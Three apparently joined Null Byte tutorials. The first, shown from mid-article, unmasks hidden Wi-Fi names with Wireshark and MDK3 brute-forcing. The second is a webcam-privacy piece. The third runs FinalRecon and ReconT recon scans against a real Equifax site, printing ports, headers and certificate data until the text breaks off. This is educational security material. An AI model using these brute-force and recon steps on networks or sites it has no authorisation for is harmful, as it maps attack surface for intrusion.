== HIDDEN-MAC-ADDRESSThis Wireshark display filter should show me all of the transmissions coming from the hidden network.Don't Miss:How to Spy on Traffic from a Smartphone with WiresharkIn the info column, you should see a lot of details, including the SSID, which should be a bunch of zeros:SSID=\000\000\000\000\000So, even though the AP has no name, it still needs to transmit that it's available to connect to with details of its capabilities, but it's obscuring the SSID.If you use something like Wigle WiFi to scan for networks, it will still record this, so even the MAC address would be something that could be geolocated and found later on a service like Wigli WiFi.Step 6: Power Your Phone Back OnTo find the hidden network's name, let's turn the phone or other device back on that previously connected to the network, making sure its Wi-Fi is enabled. As soon as it's ready to start hunting for networks, it forces the probe response. This is basically a packet containing the name of the network because it's necessary to form the key that the two will use to connect.You should then see lines in Wireshark that show the SSID name "ESPap." There is no way to keep this a total secret, as you can see.Step 7: Use MDK3 to Brute-Force the Name InsteadAnother way to find the SSID is to use a tool called MDK3, which can figure out the name of a network by brute-forcing it. To do that, a good brute-force list is needed. For our test, let's just usethe "commonssids" word listbelow. Download it onto your desktop.https://gist.githubusercontent.com/jgamblin/da795e571fb5f91f9e86a27f2c2f626f/raw/0e5e53b97e372a21cb20513d5064fde11aed844c/commonssids.txtThen, in a new Terminal window, we can move into the desktop andcatthe file to see all of the common network names it has listed.~$ cd Desktop ~$/Desktop$ cat commonssids.txt ssid xfinitywifi linksys <no ssid> BTWiFi-with-FON NETGEAR Ziggo dlink BTWifi-X default FreeWifi hpsetup UPC Wi-Free optimumwifi FreeWifi_secure AndroidAP eduroam BTWIFI TELENETHOMESPOT cablewifi ...Next, we'll use MDK3 to force the device to reveal its network name just by getting it to respond. Then, it will try associating the network with all the various Wi-Fi names in our word list, seeing if it gets a positive response. It's an old-school way of brute-forcing hidden network names if it doesn't work the first few times.Use the following command to brute-force the network name. If you used a different word list or change the name from "commonssids," make sure to adjust that here. The target (-t) will be the MAC address discovered, and the file (-f) is the word list.~/Desktop$ sudo mdk3 CARDNAME p -t HIDDEN-MAC-ADDRESS -f commonssids.txt [sudo] password:Now, before running the command, go into Wireshark so you can monitor what happens. After running the list and monitor Terminal and Wireshark, you'll see that it didn't work, and that's because the word list doesn't actually have "ESPap" in it.Now, you can use a different word list or add new names to your current list. For this demonstration, just go into the file with the following command, and add "ESPap" to the list with nano. Save and exit.~$ nano commonssids.txtNow, run the brute-force attack again and see what happens.~/Desktop$ sudo mdk3 CARDNAME p -t HIDDEN-MAC-ADDRESS -f commonssids.txt [sudo] password:You should now see that it was able to correctly guess the network name, unmasking the previously hidden network without necessarily having a device connected to it. So even if no devices are trying to connect or trying to reconnect after being kicked off, we should still be able to scan MAC addresses to brute-force.Once the network name is known, it can start being attacked as though it were an unhidden network. Hiding a network name is not really good security practice if you're looking to keep your network stealthy. That's because not only can people see that it exists, but they can easily extract the name as well.No Hidden Network Is Truly HiddenWhile hiding a Wi-Fi network might not make it appear on people's phones that are nearby, it's truly not a secure way of hiding your network or making it more secure. A phone can constantly scream out the plain text name of the network when it's within range.If you want to keep your network more secure, I recommend turning down your Wi-Fi power, so it's not broadcasting as far. Also, make sure to set areally long and secure Wi-Fi passwordthat you don't use in other places.Don't Miss:How to Map Networks & Connect to Discovered Devices Using Your PhoneWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo, screenshots, and GIFs by Retia/Null ByteRelatedHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Automate Wi-Fi Hacking with Wifite2How To:Hack Wi-Fi Networks with BettercapHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Use MDK3 for Advanced Wi-Fi JammingHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUHacking Android:How to Create a Lab for Android Penetration TestingHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsRelease the KRACKen:WPA2 Wi-Fi Encryption Hackable Until All Clients & APs Are PatchedHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Automatically Connect to Free Wi-Fi Hotspots (That Are Actually Free) on Your Samsung Galaxy Note 2How To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow To:Recover a Lost WiFi Password from Any DeviceHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Detect Script-Kiddie Wi-Fi Jamming with Wireshark
The FBI Can Spy on Your Webcam Undetected: Here's How to Stop Them « Null Byte :: WonderHowTo
Let's just say it's been a pretty bad year for spies and government agencies and an even worse one for the privacy of U.S. citizens. Edward Snowden blew the lid off the NSA's spy program, and the FBI was recently discovered to have the ability toaccess your webcamany time they want—without triggering the "camera on" light. Yeah, that means those Justin Bieber lip sync videos you recorded weren't just for your private collection.If you find it unlikely that the FBI would do this, think about all those would-be hackers out there. Some already havethe skills to hack into your webcam. They can evenhijack your built-in mic.Now, of course, both agencies are saying it's much ado about nothing, but let's be real. While the creation of these surveillance programs were designed to catch the "bad guys," the privacy and fundamental right of countless unknowing victims have been trampled on.So much so, that a federal judge, Richard Leon, ruled the NSA programunconstitutional, saying: "I cannot imagine a more 'indiscriminate' and 'arbitrary invasion' than this systematic and high-tech collection and retention of personal data on virtually every citizen for purposes of querying and analyzing it without prior judicial approval."Image viacbsistatic.comSo, while the FBI and even some overachieving hackers can remotely access your webcam and microphone, they can't do anything if the lens and mic is covered. Here are a few super simple ways to protect your webcam and privacy from secret agents or nefarious hackers.If it's a detached webcam, just unplug it; it can't work without power from the USB bus.For built-in cams, justcover the lens with tape. However, some tape, especially electrical tape, will leave behind a sticky residue after exposure to heat.If you don't want to tape it directly, trying making aremovable DIY webcam coverwith tape and a paperclip.If you never use your webcam, you can also take apart your laptop and disconnect it, though you'll probably void your warranty.And don't underestimate the skills of your would-be hacker or rogue government agency. Your new Xbox One with Kinect may be a great time to spend a few hours playing Assassin's Creed, but who knows if the NSA or FBI are hacking into those devices, as well. Cell phones too...that FaceTime session with grandma could include a very homesick international spy. Verizon even filed a patent for a TV thatwatches you as you watch it, to "better serve you ads."So, just be careful out there, because you never know who's watching.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseWoman on computerimage via Shutterstock,Picketers imagevia Dara Kerr/CNETRelatedHow To:Mod an ordinary webcam into a super spy scopeHow To:Turn a Webcam and Phone into a Security Spy SystemHow To:Find Out If the FBI Is Keeping Tabs on Your Apple Device (UPDATED)Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHow To:Make a Soda Can Stirling EngineHow To:Build a Cheap USB Spy Telescope to Take Covert Digital Photos from Far AwayHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebHow To:Make new Krylon spray paint cans work like old onesiPhone Security:Apple Refuses FBI's Demands to Create iOS BackdoorHow To:Find Vulnerable Webcams Across the Globe Using ShodanHow To:Turn Your Smartphone into a Wireless Webcam with These 5 AppsHow To:Hack almost any unprotected webcam with GoogleNews:NYTimes Realizes That The FBI Keeps Celebrating Breaking Up Its Own TerroristNews:Credit for coming up with itNews:FBI Exploited Mental Illness in Latest Fake Terror CaseNews:FBI holds teleconference regarding Anonymous - but they were listening!News:News Clips - June 2News:Amazing 3D video capture using KinectHow To:Recycle.News:Canning Mission Warning!News:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxHow To:Painlessly Add the Powerful Nutrition of Oat Bran to Your DietNews:FBI Director Can't Answer Basic Question About Due ProcessNews:Symantec Source Code Released by Anon After Failed NegotiationsHow To:Play Spy!News:FBI's Most WantedSelf-Portrait Challenge:Phil... Just PhilNews:Alan Wake Episode 3 Gameplay & MusingsNews:German Beer Chugging ContestFormer FBI Agent:Surveillance State Trashing Constitutional ProtectionsNews:How the Government Is Destroying the Lives of Innocent PeopleNews:Welcome!News:If you use Tor Browser, the FBI just labelled you a criminal.How To:Watch Comey Testify Live on Your SmartphoneNews:House Approves Amendment To Limit Pentagon Drones Spying On AmericansNews:Sneak Nutrition Into Almost Any FoodNews:FarmVille Orchards and Tree MasteryNews:FBI Shuts Down One of the Biggest Hacking ForumsNews:Terror suspect's eye color? Flying cameras to spy during OlympicsLockdown:The InfoSecurity Guide to Securing Your Computer, Part II
How to Conduct Recon on a Web Target with Python Tools « Null Byte :: WonderHowTo
Reconnaissance is one of the most important and often the most time consuming, part of planning an attack against a target.Thanks to a pair of recon tools coded in Python, it takes just seconds to research how a website or server might be vulnerable. No matter what platform you're working with, you can turn up some fascinating results using ReconT and FinalRecon.What Can Recon Uncover?It can be tempting for a hacker or pentester to start hacking away at an online target like a website or web server without spending too much time onrecon. Attacking without recon is almost always taking the hard route, as time spent studying the target can be used to identify the best plan of action based on the available attack surface. It doesn't make sense to go after the most heavily defended parts of the target when a vulnerable area would require significantly fewer resources to get a better result.Don't Miss:Scrape Target Email Addresses with TheHarvesterThe easiest way to hack an online target is first to spend enough time studying it to get an understanding of which attack surfaces are available and what plan to compromise it might have the best chance of success. A talented hacker won't play to their strengths and use the same trick each time. Instead, they'll formulate a plan that requires the least amount of effort by first narrowing their focus to the weakest part of the target's security.FinalReconOur main goal as a hacker is to identify services that we can attack and assess them for vulnerabilities. These vulnerabilities might be SSH or FTP servers with weak credentials, running services with known vulnerabilities, and links to external resources that could be an avenue for attack. With a few simple scans, it's easy to identify information about a web-based target that includes the IP addresses, subdomains, and potentially vulnerable services running on various ports.For hackers wanting to keep their recon organized, FinalRecon is an excellent tool for automating your results into neatly organized reports of discovered IP's, services, and subdomains. Besides being cross-platform, easy to install, and easy to use, FinalRecon makes results easy to understand and use directly in follow-up scans.ReconTThe amount of information ReconT returns from a target can be overwhelming, but the strength of this tool is in the details of the clues it discovers. ReconT is a little harder to use — it doesn't store the results of scans in a nice folder like FinalRecon. The outpouring of information from ReconT can be a lot more detailed than what FinalRecon uncovers, locating SSH servers, and identifying the types of services that are running on the target.Because these tools both work in different ways, they complement each other nicely as the installation for each is nearly identical. Also, you can use both on any system with Python3 installed. Let's take a look at how these programs work and what they can dig up:What You'll NeedTo use these tools, you can be running a Windows, Linux, or MacOS computer with Python3 installed. I imagine this would also work on mobile devices with Python3 installed and the ability to load libraries.You will need an internet connection for this to work, as we're scraping data from external websites.Step 1: Install FinalReconFinalRecon is an incredibly simple tool to install, provided you have Python3 on your system. If you do, then installing it requires only a few commands in a fresh terminal window.Don't Miss:Map Networks & Connect to Discovered Devices Using Your PhoneBy running the commands below, you'll install the files from the GitHub repo, move into the new directory it creates, and then install any libraries needed to run FinalRecon.git clone https://github.com/thewhiteh4t/FinalRecon.git cd FinalRecon pip3 install -r requirements.txtOnce this is complete, you can access the help menu by running the finalrecon.py program with the--helpargument.python3 finalrecon.py --help usage: finalrecon.py [-h] [--headers] [--sslinfo] [--whois] [--crawl] [--full] url FinalRecon - OSINT Tool for All-In-One Web Recon | v1.0.0 positional arguments: url Target URL optional arguments: -h, --help show this help message and exit --headers Get Header Information --sslinfo Get SSL Certificate Information --whois Get Whois Lookup --crawl Crawl Target Website --full Get Full Analysis, Test All Available OptionsHere, we can see the various available arguments for the program. We can crawl targets, look up whois information, and get data on the SSL certificate a site is using.Step 2: Scan a TargetFor our tests, we'll use the--fullflag, as it runs all of the tests listed above. But you could also pick and choose whatever argument you're looking for to get a more specific set of results.To scan our target, type in the command below, follow with your selected argument — the--fullflag in our case, and add the website you're looking to scan. In this example, we're looking for vulnerabilities in Equifax's information site about their2017 cybersecurity incident.Dell-3:FinalRecon skickar$ python3 finalrecon.py --full www.equifaxsecurity2017.com ______ __ __ __ ______ __ /\ ___\/\ \ /\ "-.\ \ /\ __ \ /\ \ \ \ __\\ \ \\ \ \-. \\ \ __ \\ \ \____ \ \_\ \ \_\\ \_\\"\_\\ \_\ \_\\ \_____\ \/_/ \/_/ \/_/ \/_/ \/_/\/_/ \/_____/ ______ ______ ______ ______ __ __ /\ == \ /\ ___\ /\ ___\ /\ __ \ /\ "-.\ \ \ \ __< \ \ __\ \ \ \____\ \ \/\ \\ \ \-. \ \ \_\ \_\\ \_____\\ \_____\\ \_____\\ \_\\"\_\ \/_/ /_/ \/_____/ \/_____/ \/_____/ \/_/ \/_/ [>] Created By : thewhiteh4t [>] Version : 1.0.0 [+] Target : www.equifaxsecurity2017.com [+] IP Address : 107.162.143.246 [+] Headers : [+] Date : Tue, 28 May 2019 05:46:40 GMT [+] Last-Modified : Wed, 19 Sep 2018 08:36:08 GMT [+] ETag : "4c7c-576354c3d8e00-gzip" [+] Accept-Ranges : bytes [+] Vary : Accept-Encoding [+] Content-Encoding : gzip [+] Content-Security-Policy : connect-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; upgrade-insecure-requests; require-sri-for script style [+] Strict-Transport-Security : max-age=31536000 [+] Referrer-Policy : strict-origin-when-cross-origin [+] X-Content-Type-Options : nosniff [+] X-Frame-Options : SAMEORIGIN [+] Content-Length : 5006 [+] Keep-Alive : timeout=5, max=100 [+] Connection : Keep-Alive [+] Content-Type : text/html [+] Via : 1.1 sjc1-bit9 [+] Set-Cookie : TS01fdad5b=019de3c5d98fcded635d58847700d53c74fdb5b04b2928345f95296b43668a2b714cc0e124; Path=/; Secure; HTTPOnly [+] SSL Certificate Information : [+] countryName : US [+] stateOrProvinceName : GA [+] localityName : Alpharetta [+] organizationName : Equifax Inc. [+] organizationalUnitName : Global Security [+] commonName : www.equifaxsecurity2017.com [+] countryName : US [+] organizationName : DigiCert Inc [+] commonName : DigiCert SHA2 Secure Server CA [+] Version : 3 [+] Serial Number : 04672E2D49D32A5CD99FCC6B50D4B688 [+] Not Before : Jan 22 00:00:00 2019 GMT [+] Not After : Jan 27 12:00:00 2020 GMT [+] OCSP : ('http://ocsp.digicert.com',) [+] subject Alt Name : (('DNS', 'www.equifaxsecurity2017.com'), ('DNS', 'equifaxsecurity2017.com')) [+] CA Issuers : ('http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt',) [+] CRL Distribution Points : ('http://crl3.digicert.com/ssca-sha2-g6.crl', 'http://crl4.digicert.com/ssca-sha2-g6.crl') [+] Whois Lookup : [+] NIR : None [+] ASN Registry : arin [+] ASN : 55002 [+] ASN CIDR : 107.162.143.0/24 [+] ASN Country Code : US [+] ASN Date : 2013-12-19 [+] ASN Description : DEFENSE-NET - Defense.Net, Inc, US [+] cidr : 107.162.0.0/16 [+] name : DEFENSE-NET [+] handle : NET-107-162-0-0-1 [+] range : 107.162.0.0 - 107.162.255.255 [+] description : Defense.Net, Inc [+] country : US [+] state : WA [+] city : Seattle [+] address : 501 Elliott Avenue West [+] postal_code : 98119 [+] emails : ['[email protected]'] [+] created : 2013-12-19 [+] updated : 2013-12-19 [+] Crawling Target... [+] Looking for robots.txt........[ Not Found ] [+] Looking for sitemap.xml.......[ Not Found ] [+] Extracting CSS Links..........[ 1 ] [+] Extracting Javascript Links...[ 3 ] [+] Extracting Internal Links.....[ 0 ] [+] Extracting External Links.....[ 12 ] [+] Extracting Images.............[ 3 ] [+] Total Links Extracted : 19 [+] Dumping Links in /Users/skickar/FinalRecon/dumps/www.equifaxsecurity2017.com.dump [+] Completed!Step 3: Examine the ResultsNow, we can check out the "dumps" folder to find information dumped while scanning the target. Here, we'll be able to see the links that the tool collected. To view this, you can typecd dumpsto move into the folder logs are saved in, and then usecatto display the contents of the log.Dell-3:dumps skickar$ cat www.equifaxsecurity2017.com.dump URL : http://www.equifaxsecurity2017.com Title : Cybersecurity Incident & Important Consumer Information | Equifax robots Links : 0 sitemap Links : 0 CSS Links : 1 JS Links : 3 Internal Links : 0 External Links : 12 Images Links : 3 Total Links Found : 19 CSS : //assets.equifax.com/efxsecurity2017/css/style.css Javascript : //assets.equifax.com/efxsecurity2017/js/script.js //assets.equifax.com/efxsecurity2017/js/jquery-migrate.min.js //assets.equifax.com/efxsecurity2017/js/jquery.js External Links : http://equifax.com/personal/products/credit/credit-lock-alert https://www.alerts.equifax.com/AutoFraud_Online/jsp/fraudAlert.jsp https://www.experian.com/freeze/center.html https://trustedidpremier.com/eligibility/eligibility.html https://equifax.com https://freeze.transunion.com/sf/securityFreeze/landingPage.jsp http://www.equifax.com/privacy/fcra https://www.equifax.com https://trustedidpremier.com/static/terms http://www.annualcreditreport.com/ http://www.optoutprescreen.com https://www.freeze.equifax.com/Freeze/jsp/SFF_PersonalIDInfo.jsp Images : //assets.equifax.com/global/images/logos/logo_EFX_TM.png //assets.equifax.com/global/images/tagline/english_185x10.png //assets.equifax.com/global/images/logos/logo_white_123x24.pngAs you can see, we've managed to identify internal and external links, image files, Javascript code, and CSS information that could be useful. This website didn't have therobots.txtorsitemap.xmlfile that usually provides a lot of subdomains and links, so the number of links found is fewer that you can expect on most websites.Don't Miss:How to Research a Person or Organization Using the Operative FrameworkThe next step to this recon would be to scan the links we found for vulnerabilities or look into the Javascript or CSS code we were able to locate.Step 4: Install ReconTNext up, we'll use ReconT to scan another target. I like ReconT a lot, but one thing I noticed is that it does not create a "dump" folder to store results the way FinalRecon does. In spite of this, I find it returns more results, many of which are quite useful. So it's worth using, even if it's a little less user-friendly. Luckily, there's an easy way around this annoyance.To fix this, we'll create a dump file when we run it. First, let's go ahead and install it, which starts with changing directories to avoid installing it within the FinalRecon folder. In a new terminal window, typecdand then the following commands to install ReconT.git clone https://github.com/jaxBCD/ReconT.git apt install python3 nmap pip3 install -r requirements.txtOnce we've installed the requirements needed to run, we can check out the help file with the following command.python3 reconT.py --help Usage: reconT.py [OPTIONS] TARGET Options: --timeout INTEGER Seconds to wait before timeout connections --proxy TEXT if Use a proxy ex: 0.0.0.0:8888if with auth 0.0.0.0:8888@user:password --cookies TEXT if use cookie comma separated cookies to add the requestex: PHPSESS:123,kontol=True --help Show this message and exit.As you can see, there is no option for saving the results or making many adjustments. You supply a target, and it scans it with intensity.Step 5: Scan a Target & Cat the Results to a FileNow, we can run a scan by using the commandpython3 reconT.pyand then name of whatever target we want to scan. The scan can output a lot of data, much of which is interesting, but can take a lot of scrolling back in the terminal to access.To make sure we're able to capture and retrieve it, we can usecatto redirect the output to a new text file. We can do this by adding the pipe symbol, or|, and thencat > example.txtto pipe the output of our recon scan into a text file.When you run the command, you should see something like this.python3 reconT.py https://www.equifaxsecurity2017.com/ | cat > equifux.txt [+] Starting At 2019-05-27 23:04:01.954237 [+] Collecting Information On: https://www.equifaxsecurity2017.com/ [#] Status: 200 [#] Finding Location..! [#] as: AS55002 Defense.Net, Inc [#] city: Seattle [#] country: United States [#] countryCode: US [#] isp: Defense.Net [#] lat: 47.623 [#] lon: -122.365 [#] org: Defense.Net, Inc [#] query: 107.162.143.246 [#] region: WA [#] regionName: Washington [#] status: success [#] timezone: America/Los_Angeles [#] zip: 98119 [x] Didn't Detect WAF Presence on: https://www.equifaxsecurity2017.com/ [#] Starting Reverse DNS [!] Found 1 any Domain [!] Scanning Open Port [#] 21/tcp open ftp [#] 80/tcp open http [#] 443/tcp open https [#] 554/tcp open rtsp [#] 7070/tcp open realserver [+] Getting SSL Info [+] Collecting Information Disclosure! [#] Detecting sitemap.xml file [-] sitemap.xml file not Found!? [#] Detecting robots.txt file [-] robots.txt file not Found!? [#] Detecting GNU Mailman [-] GNU Mailman App Not Detected!? [+] Crawling Url Parameter On: https://www.equifaxsecurity2017.com/ [#] Searching Html Form ! [-] No Html Form Found!? [!] Found 11 dom parameter [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [#] https://www.equifaxsecurity2017.com//# [-] No internal Dynamic Parameter Found!? [!] 1 External Dynamic Parameter Discovered [#] https://fonts.googleapis.com/css?family=Open+Sans%3A300%2C300i%2C400%2C400i%2C600%2C600i%2C700%2C700i&ver=4.9.2 [!] 17 Internal links Discovered [+] https://www.equifaxsecurity2017.com/ [+] https://www.equifaxsecurity2017.com////fonts.googleapis.com [+] https://www.equifaxsecurity2017.com////s.w.org [+] https://www.equifaxsecurity2017.com////assets.equifax.com/efxsecurity2017/css/style.css [+] https://www.equifaxsecurity2017.com/ [+] https://www.equifaxsecurity2017.com/ [+] https://www.equifaxsecurity2017.com/es/hogar/ [+] https://www.equifaxsecurity2017.com//" class= [+] https://www.equifaxsecurity2017.com//es/hogar/ [+] https://www.equifaxsecurity2017.com//contact/ [+] https://www.equifaxsecurity2017.com//consumer-notice/ [+] https://www.equifaxsecurity2017.com//updates/ [+] https://www.equifaxsecurity2017.com//frequently-asked-questions/ [+] https://www.equifaxsecurity2017.com//contact/ [+] https://www.equifaxsecurity2017.com//contact/ [+] https://www.equifaxsecurity2017.com//consumer-notice/ [+] https://www.equifaxsecurity2017.com//privacy-policy/ [!] 12 External links Discovered [#] https://www.equifax.com [#] https://equifax.com [#] https://trustedidpremier.com/eligibility/eligibility.html [#] http://www.annualcreditreport.com/ [#] https://www.freeze.equifax.com/Freeze/jsp/SFF_PersonalIDInfo.jsp [#] https://www.experian.com/freeze/center.html [#] https://freeze.transunion.com/sf/securityFreeze/landingPage.jsp [#] http://equifax.com/personal/products/credit/credit-lock-alert [#] https://www.alerts.equifax.com/AutoFraud_Online/jsp/fraudAlert.jsp [#] http://www.optoutprescreen.com [#] https://trustedidpremier.com/static/terms [#] http://www.equifax.com/privacy/fcra [#] Retreive Host Information [+] + DNS Server [+] + MX Records [+] + TXT Records [+] Subdomain Information [!] Done At 2019-05-27 23:04:31.246591That's a lot of data! We've already found a lot more internal links than FinalRecon did. To look at what we found, we can use thecatcommand again to display the information contained in the log.cat equifux.txt __ _____ _ /__\ ___ ___ ___ _ __ /__ \ ___ ___ | | // \\ / \// / _ \ / __| / _ \ | _ \ _____ / /\/ / _ \ / _ \ | | _\\()//_ / / | __/| (__ | (_) || | | ||_____| / / | (_) || (_) || | /_// \\_\ \/\ \ \___| \___| \___/ |_| |_| \/ \___/ \___/ |_| / \__/ \ \/ (Reconnaisance ToolKit 0.7) (by): 407 Authentic Exploit (codename): JaxBCD -------------------------------------------------- - Date: Tue, 28 May 2019 06:04:02 GMT - Last-Modified: Wed, 19 Sep 2018 08:36:53 GMT - ETag: "4c7c-576354eec3340-gzip" - Accept-Ranges: bytes - Vary: Accept-Encoding - Content-Encoding: gzip - Content-Security-Policy: connect-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; upgrade-insecure-requests; require-sri-for script style - Strict-Transport-Security: max-age=31536000 - Referrer-Policy: strict-origin-when-cross-origin - X-Content-Type-Options: nosniff - X-Frame-Options: SAMEORIGIN - Content-Length: 5006 - Keep-Alive: timeout=5, max=100 - Connection: Keep-Alive - Content-Type: text/html - Via: 1.1 sjc1-bit9 - Set-Cookie: TS01fdad5b=019de3c5d9c64b5e73b7e4be48076da79d4febd1135512dc84d342b6684ed5c9ead6014793; Path=/; Secure; HTTPOnly -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- - equifaxsecurity2017.com -------------------------------------------------- -------------------------------------------------- {'OCSP': ('http://ocsp.digicert.com',), 'caIssuers': ('http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt',), 'crlDistributionPoints': ('http://crl3.digicert.com/ssca-sha2-g6.crl', 'http://crl4.digicert.com/ssca-sha2-g6.crl'), 'issuer': ((('countryName', 'US'),), (('organizationName', 'DigiCert Inc'),), (('commonName', 'DigiCert SHA2 Secure Server CA'),)), 'notAfter': 'Jan 27 12:00:00 2020 GMT', 'notBefore': 'Jan 22 00:00:00 2019 GMT', 'serialNumber': '04672E2D49D32A5CD99FCC6B50D4B688', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'GA'),), (('localityName', 'Alpharetta'),), (('organizationName', 'Equifax Inc.'),), (('organizationalUnitName', 'Global Security'),), (('commonName', 'www.equifaxsecurity2017.com'),)), 'subjectAltName': (('DNS', 'www.equifaxsecurity2017.com'), ('DNS', 'equifaxsecurity2017.com')), 'version': 3} -----BEGIN CERTIFICATE----- MIIGYjCCBUqgAwIBAgIQBGcuLUnTKlzZn8xrUNS2iDANBgkqhkiG9w0BAQsFADBN MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E aWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMTkwMTIyMDAwMDAwWhcN MjAwMTI3MTIwMDAwWjCBhjELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkdBMRMwEQYD VQQHEwpBbHBoYXJldHRhMRUwEwYDVQQKEwxFcXVpZmF4IEluYy4xGDAWBgNVBAsT D0dsb2JhbCBTZWN1cml0eTEkMCIGA1UEAxMbd3d3LmVxdWlmYXhzZWN1cml0eTIw MTcuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx0zwSjfV+Lm6 IB1X4PaRfaMAGaXtcH2pkcak2dnb0DFj7AbK21F7ku8j9nVqmu128OY0xpppJaEY k+GEm+PllHdusQ9zjnoxb5fsyRn9wLv7tthL9U5TRAy8XlzqIYzb3r3LndvGcAGg 8ppQ2G5rc7jyVRMRsrVj5kFwARUKN8cPwOARAAguHLPlKHt5cRmQwaa7lidNYgGH btbecOXnVBTdl4TOdRj54hwDp3A8W3nk4Grh4BlKDtTq9ofgkwFdK7rkOIizE2L9 G7rUohRXSSnBRqu1eRCsz27aCNfuCPp7fU51//7g8LGpE9lYv8gyZaBtJ9l+MYPb 4rB1H+qWBwIDAQABo4IDAjCCAv4wHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0 LOHG2eIwHQYDVR0OBBYEFJyeFApXpA+yYhNk5EEk8xQQd+EDMD8GA1UdEQQ4MDaC G3d3dy5lcXVpZmF4c2VjdXJpdHkyMDE3LmNvbYIXZXF1aWZheHNlY3VyaXR5MjAx Ny5jb20wDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEF BQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20v c3NjYS1zaGEyLWc2LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29t L3NzY2Etc2hhMi1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggr BgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIw fAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2Vy dC5jb20wRgYIKwYBBQUHMAKGOmh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9E aWdpQ2VydFNIQTJTZWN1cmVTZXJ2ZXJDQS5jcnQwDAYDVR0TAQH/BAIwADCCAQMG CisGAQQB1nkCBAIEgfQEgfEA7wB1ALvZ37wfinG1k5Qjl6qSe0c4V5UKq1LoGpCW 